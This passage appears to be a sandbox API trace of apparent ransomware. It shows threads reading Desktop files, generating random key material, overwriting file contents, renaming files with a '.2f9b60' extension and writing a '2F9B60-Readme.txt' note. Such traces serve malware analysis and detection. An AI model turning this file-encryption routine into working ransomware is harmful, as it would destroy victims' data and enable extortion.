[0133.719] sprintf (in: _Dest=0x1ced566e, _Format="%c%c" | out: _Dest="34") returned 2 [0133.719] sprintf (in: _Dest=0x1ced5670, _Format="%c%c" | out: _Dest="73") returned 2 [0133.719] sprintf (in: _Dest=0x1ced5672, _Format="%c%c" | out: _Dest="d2") returned 2 [0133.719] RtlInitAnsiString (in: DestinationString=0x250df6c8, SourceString="e3f6d23767812db12c226c92252b7417846400fbdd79ac6226f6027587c7d9174b276d9df7ba353473d2" | out: DestinationString="e3f6d23767812db12c226c92252b7417846400fbdd79ac6226f6027587c7d9174b276d9df7ba353473d2") [0133.719] RtlAnsiStringToUnicodeString (in: DestinationString=0x250df698, SourceString="e3f6d23767812db12c226c92252b7417846400fbdd79ac6226f6027587c7d9174b276d9df7ba353473d2", AllocateDestinationString=1 | out: DestinationString="e3f6d23767812db12c226c92252b7417846400fbdd79ac6226f6027587c7d9174b276d9df7ba353473d2") returned 0x0 [0133.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106b80 [0133.719] wcscat (in: _Dest=0x20508810, _Source="e3f6d23767812db12c226" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e3f6d23767812db12c226") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e3f6d23767812db12c226" [0133.719] wcscat (in: _Dest=0x20508810, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e3f6d23767812db12c226.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e3f6d23767812db12c226.2f9b60" [0133.719] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e3f6d23767812db12c226.2f9b60", NtPathName=0x250df670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e3f6d23767812db12c226.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107780 [0133.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0133.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293530) returned 1 [0133.721] NtQueryInformationFile (in: FileHandle=0x1b8c, IoStatusBlock=0x250df6d8, FileInformation=0x250df6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x250df6d8, FileInformation=0x250df6e8) returned 0x0 [0133.721] NtSetInformationFile (FileHandle=0x1b8c, IoStatusBlock=0x250df6d8, FileInformation=0x250df6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508810) returned 1 [0133.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106b80) returned 1 [0133.723] FlushFileBuffers (hFile=0x1b8c) returned 1 [0138.531] CloseHandle (hObject=0x1b8c) returned 1 [0138.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4ab10 [0138.611] wcscpy (in: _Dest=0x1cf4ab10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0138.611] wcscat (in: _Dest=0x1cf4ab10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" [0138.611] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\2f9b60-readme.txt")) returned 0xffffffff [0138.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e80 [0139.180] WriteFile (in: hFile=0x1e80, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x250df590, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x250df590*=0xba9, lpOverlapped=0x0) returned 1 [0139.181] CloseHandle (hObject=0x1e80) returned 1 [0139.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ab10) returned 1 [0139.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af3d0) returned 1 Thread: id = 1899 os_tid = 0x106c [0133.692] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\akvsomhvv.png")) returned 0x20 [0133.693] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png", dwFileAttributes=0x20) returned 1 [0133.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\akvsomhvv.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b84 [0133.693] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2cdbf840 | out: lpFileSize=0x2cdbf840*=38518) returned 1 [0133.693] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x9672, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.693] ReadFile (in: hFile=0x1b84, lpBuffer=0x2cdbf7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cdbf808, lpOverlapped=0x0 | out: lpBuffer=0x2cdbf7c0*, lpNumberOfBytesRead=0x2cdbf808*=0x4, lpOverlapped=0x0) returned 1 [0133.694] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0133.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.694] NtQuerySystemTime (in: CurrentTime=0x2cdbf700 | out: CurrentTime=0x2cdbf700*=132462177389410000) returned 0x0 [0133.694] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x12fa8bf9 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x221ba6e6 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x5f2c3bf2 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x505e2bab [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x328336fa [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x4c21aa93 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x68bffbad [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x20a33b98 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x3fcbd134 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x54f6ce55 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x34e747d7 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x7f1cb11c [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0xffb8bba [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x31ca9d5 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x25252621 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x480d7f45 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x1eacda26 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x2e3600e6 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x14032117 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x76eddd58 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0xee8e5c9 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x3958a146 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x36152799 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x3352d047 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0xa86ac5d [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x5e82e587 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x473d86a0 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x7c592788 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x749c9f13 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x3e08c79f [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x666fe849 [0133.695] RtlRandomEx (in: Seed=0x2cdbf6f0 | out: Seed=0x2cdbf6f0) returned 0x73f3c192 [0133.706] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.706] ReadFile (in: hFile=0x1b84, lpBuffer=0x41cae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cdbf760, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesRead=0x2cdbf760*=0x3c00, lpOverlapped=0x0) returned 1 [0133.707] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0133.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb1d40 [0133.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0133.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.708] WriteFile (in: hFile=0x1b84, lpBuffer=0x41cb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cdbf760, lpOverlapped=0x0 | out: lpBuffer=0x41cb1d40*, lpNumberOfBytesWritten=0x2cdbf760*=0x3c00, lpOverlapped=0x0) returned 1 [0133.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0133.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cae130) returned 1 [0133.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20266de0 [0133.713] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.713] WriteFile (in: hFile=0x1b84, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2cdbf810, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2cdbf810*=0x10c, lpOverlapped=0x0) returned 1 [0133.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0133.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0133.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0133.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0133.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0133.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0133.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267410) returned 1 [0133.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0133.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5b20 [0133.726] wcscpy (in: _Dest=0x202a5b20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png" [0133.726] wcscat (in: _Dest=0x202a5b20, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png.2f9b60" [0133.726] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png.2f9b60", NtPathName=0x2cdbf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac0b0 [0133.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 [0133.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051460) returned 1 [0133.728] NtQueryInformationFile (in: FileHandle=0x1b84, IoStatusBlock=0x2cdbf898, FileInformation=0x2cdbf8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cdbf898, FileInformation=0x2cdbf8a8) returned 0x0 [0133.728] NtSetInformationFile (FileHandle=0x1b84, IoStatusBlock=0x2cdbf898, FileInformation=0x2cdbf8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 [0133.729] FlushFileBuffers (hFile=0x1b84) returned 1 [0138.531] CloseHandle (hObject=0x1b84) returned 1 [0138.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4a960 [0138.612] wcscpy (in: _Dest=0x1cf4a960, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0138.612] wcscat (in: _Dest=0x1cf4a960, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" [0138.612] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\2f9b60-readme.txt")) returned 0x20 [0139.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a960) returned 1 [0139.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 Thread: id = 1900 os_tid = 0x1070 [0133.740] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e7k8Lxa3x8CHp9jkA.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\e7k8lxa3x8chp9jka.ods")) returned 0x20 [0133.740] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e7k8Lxa3x8CHp9jkA.ods", dwFileAttributes=0x20) returned 1 [0133.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e7k8Lxa3x8CHp9jkA.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\e7k8lxa3x8chp9jka.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b7c [0133.741] GetFileSizeEx (in: hFile=0x1b7c, lpFileSize=0x2d68f8e0 | out: lpFileSize=0x2d68f8e0*=5020) returned 1 [0133.741] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x1398, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.741] ReadFile (in: hFile=0x1b7c, lpBuffer=0x2d68f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d68f8a8, lpOverlapped=0x0 | out: lpBuffer=0x2d68f860*, lpNumberOfBytesRead=0x2d68f8a8*=0x4, lpOverlapped=0x0) returned 1 [0133.742] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0133.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0133.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0133.743] NtQuerySystemTime (in: CurrentTime=0x2d68f7a0 | out: CurrentTime=0x2d68f7a0*=132462177389878000) returned 0x0 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0xfd252d4 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x6fdca3db [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x21f74e43 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x138372c3 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x21ab264e [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x6e97853f [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x2a0f10f7 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x1ddd56a3 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x60cff930 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x317afe7 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x35e91bdb [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x793d9985 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x747068cc [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x244fb65a [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x69d0368c [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x117f9c96 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x8958676 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x41bb3822 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x5ffd5325 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x325d42f9 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x292d6685 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x49b311a7 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x58c53597 [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x5cd87bbe [0133.743] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x481caa72 [0133.744] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x509af4b3 [0133.744] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x1f5ef563 [0133.744] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x7b89534a [0133.744] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x77c4a8cf [0133.744] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x1aef53b6 [0133.744] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x7ef120b2 [0133.744] RtlRandomEx (in: Seed=0x2d68f790 | out: Seed=0x2d68f790) returned 0x6f0d0cdf [0133.752] ReadFile (in: hFile=0x1b7c, lpBuffer=0x41cae130, nNumberOfBytesToRead=0x139c, lpNumberOfBytesRead=0x2d68f790, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesRead=0x2d68f790*=0x139c, lpOverlapped=0x0) returned 1 [0133.752] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.752] WriteFile (in: hFile=0x1b7c, lpBuffer=0x41cb1d40*, nNumberOfBytesToWrite=0x139c, lpNumberOfBytesWritten=0x2d68f794, lpOverlapped=0x0 | out: lpBuffer=0x41cb1d40*, lpNumberOfBytesWritten=0x2d68f794*=0x139c, lpOverlapped=0x0) returned 1 [0133.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0133.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0133.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0133.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0133.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cae130) returned 1 [0133.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f270 [0133.755] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.755] WriteFile (in: hFile=0x1b7c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d68f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2d68f8b0*=0x11c, lpOverlapped=0x0) returned 1 [0133.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0133.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fb30 [0133.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0133.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1ced5620 [0133.758] sprintf (in: _Dest=0x1ced5620, _Format="%c%c" | out: _Dest="1e") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5622, _Format="%c%c" | out: _Dest="f0") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5624, _Format="%c%c" | out: _Dest="21") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5626, _Format="%c%c" | out: _Dest="cd") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5628, _Format="%c%c" | out: _Dest="ee") returned 2 [0133.758] sprintf (in: _Dest=0x1ced562a, _Format="%c%c" | out: _Dest="d9") returned 2 [0133.758] sprintf (in: _Dest=0x1ced562c, _Format="%c%c" | out: _Dest="d8") returned 2 [0133.758] sprintf (in: _Dest=0x1ced562e, _Format="%c%c" | out: _Dest="e6") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5630, _Format="%c%c" | out: _Dest="b4") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5632, _Format="%c%c" | out: _Dest="38") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5634, _Format="%c%c" | out: _Dest="10") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5636, _Format="%c%c" | out: _Dest="e2") returned 2 [0133.758] sprintf (in: _Dest=0x1ced5638, _Format="%c%c" | out: _Dest="d9") returned 2 [0133.758] sprintf (in: _Dest=0x1ced563a, _Format="%c%c" | out: _Dest="21") returned 2 [0133.759] sprintf (in: _Dest=0x1ced563c, _Format="%c%c" | out: _Dest="32") returned 2 [0133.759] sprintf (in: _Dest=0x1ced563e, _Format="%c%c" | out: _Dest="b2") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5640, _Format="%c%c" | out: _Dest="46") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5642, _Format="%c%c" | 